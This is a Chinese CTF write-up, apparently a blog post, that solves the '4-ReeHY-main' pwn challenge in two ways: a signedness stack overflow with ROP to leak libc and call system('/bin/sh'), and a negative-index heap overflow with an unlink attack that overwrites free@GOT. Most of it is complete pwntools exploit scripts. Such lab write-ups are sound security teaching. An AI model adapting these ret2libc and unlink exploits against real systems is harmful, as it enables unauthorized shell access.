XCTF攻防世界(2019Xman第一阶段练习赛) Pwn 4-ReeHY-main 两种解法

 

一、栈溢出Getshell

分析

审计IDA代码,发现在create中存在栈溢出、类型转换漏洞。如下:

///栈空间布局  
  int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  void *dest; // [rsp+80h] [rbp-10h]
  int index; // [rsp+88h] [rbp-8h]
  size_t cin_num; // [rsp+8Ch] [rbp-4h]

1.逻辑漏洞,输入的nbytes可以<=0x1000

2.nbytes使用的eax,也就是四字节。

但在ssize_t read(int fd, void *buf, size_t nbytes)中,size_t 是无符号的,也就意味着,我们可以输入超长字符串。并在此覆盖栈空间。

3.我们必须要覆盖了cin_num,因为memcpy(dest, &buf, cin_num)的三个参数都需要为正常。既然覆盖,那么我们就需要填写上dest、index、cin_num;虽然这里也可以实现任意地址写,但是我们已经可以栈溢出控制程序流程咯。

利用

1.确定栈溢出中,dest、index、cin_num、ret的偏移。

2.找到需要的ROP,如:pop rdi,ret;若没有还有其他方法(这里就不说了)。构造payload,循环程序流程。

3.先泄漏libc地址,再计算出system、binsh的地址。Getshell。

Python脚本

from pwn import *

context.log_level="debug"

p=process("./4-ReeHY-main")
#p=remote("111.198.29.45",39294)
p.recvuntil("$")
p.sendline("kaller 2019")



def add_1(a,b,c):
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(b))
    p.recvuntil("cun\n")
    p.sendline(str(a))
    p.recvuntil("content\n")
    p.send(c)



#--------------------list-------------------
puts_plt=0x00000000004006D0
free_got_addr=0x0000000000602018
read_got_addr=0x0000000000602030
main_call=0x0000000000400C8C
pop_rdi_ret=0x0000000000400da3
#-------------------------------------------

#
p.recvuntil("$")
payload="a"*(8*16)+p64(free_got_addr)+p32(0)+p32(8)+"\x00"*8
payload=payload+p64(pop_rdi_ret)+p64(read_got_addr)+p64(puts_plt)+p64(main_call)
add_1(0,-1,payload)
#-----------------libc_calc------------------
str_1=p.recvuntil("$")
leak_read_addr=u64(str_1[0:6]+"\x00\x00")
leak_system_addr=leak_read_addr-0xb1ec0
leak_binsh_addr=leak_read_addr+0x95b07
print "leak_read_addr=",hex(leak_read_addr)
#--------------------------------------------
#edb_attach()
p.sendline("zhukaikai")
p.recvuntil("$")
payload="a"*(8*16)+p64(free_got_addr)+p32(0)+p32(8)+"\x00"*8
payload=payload+p64(pop_rdi_ret)+p64(leak_binsh_addr)+p64(leak_system_addr)+p64(main_call)
add_1(0,-1,payload)




p.interactive()


二、Unlink漏洞

分析.

1.逻辑漏洞,添加时的index可以为负数。

2.List布局

00000000006020C0 list_size//存放malloc(0x14)_ptr
                    list_chunk     list_isUse
00000000006020E0   malloc()_ptr    0 or 1
----------------    ---------      --------

3.我们可以在添加功能中,使index=-2,这样list_size的内容就被我们任意控制,堆溢出。

4.既然实现了堆溢出,那么利用Unlink漏洞就可以实现任意地址写。

Python脚本.

from pwn import *
import os
context.log_level="debug"


p=process("./4-ReeHY-main")
#p=remote("111.198.29.45",39294)
p.recvuntil("$")
p.sendline("kaller 2019")
p.recvuntil("$")


def add_1(a,b,c):
    p.sendline("1")
    p.recvuntil("size\n")
    p.sendline(str(b))
    p.recvuntil("cun\n")
    p.sendline(str(a))
    p.recvuntil("content\n")
    p.send(c)
#set LD_PRELOAD="./libc.so.6"

def del_1(a):
    p.sendline("2")
    p.recvuntil("dele\n")
    p.sendline(str(a))

def edit_1(a,b):
    p.sendline("3")
    p.recvuntil("edit\n")
    p.sendline(str(a))
    p.recvuntil("content\n")
    p.send(b)



#--------------------list-------------------
puts_plt=0x00000000004006D0
free_got_addr=0x0000000000602018
read_got_addr=0x0000000000602030
main_call=0x0000000000400C8C
pop_rdi_ret=0x0000000000400da3
chunk_list_addr=0x006020e0
#-------------------------------------------



add_1(0,0x120,"a")
p.recvuntil("$")

add_1(1,0x120,"a")
p.recvuntil("$")

add_1(-2,0x50,p32(0x200)+p32(0x200))#控制list_size
p.recvuntil("$")



fake_chunk=p64(0)+p64(0)+p64(chunk_list_addr-0x18)+p64(chunk_list_addr-0x10)
payload=fake_chunk+('a'*(0x100))+p64(0x120)+p64(0x130)
edit_1(0,payload)#伪造堆块
p.recvuntil("$")

del_1(1)#触发Unlink()
p.recvuntil("$")
#这里已经可以任意地址写了。
payload="\x00"*0x18+p64(free_got_addr)+p64(1)+p64(read_got_addr)+p64(1)#写地址、
edit_1(0,payload)
p.recvuntil("$")

edit_1(0,p64(puts_plt))#写内容
p.recvuntil("$")

del_1(1)#泄漏read got中地址

#-----------------libc_calc------------------
str_1=p.recvuntil("$")
leak_read_addr=u64(str_1[0:6]+"\x00\x00")
leak_system_addr=leak_read_addr-0xb1ec0
leak_binsh_addr=leak_read_addr+0x95b07
print "leak_read_addr=",hex(leak_read_addr)
#--------------------------------------------

edit_1(0,p64(leak_system_addr))

add_1(2,0x50,"/bin/sh\x00")
p.recvuntil("$")
del_1(2)


p.interactive()


 

 

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值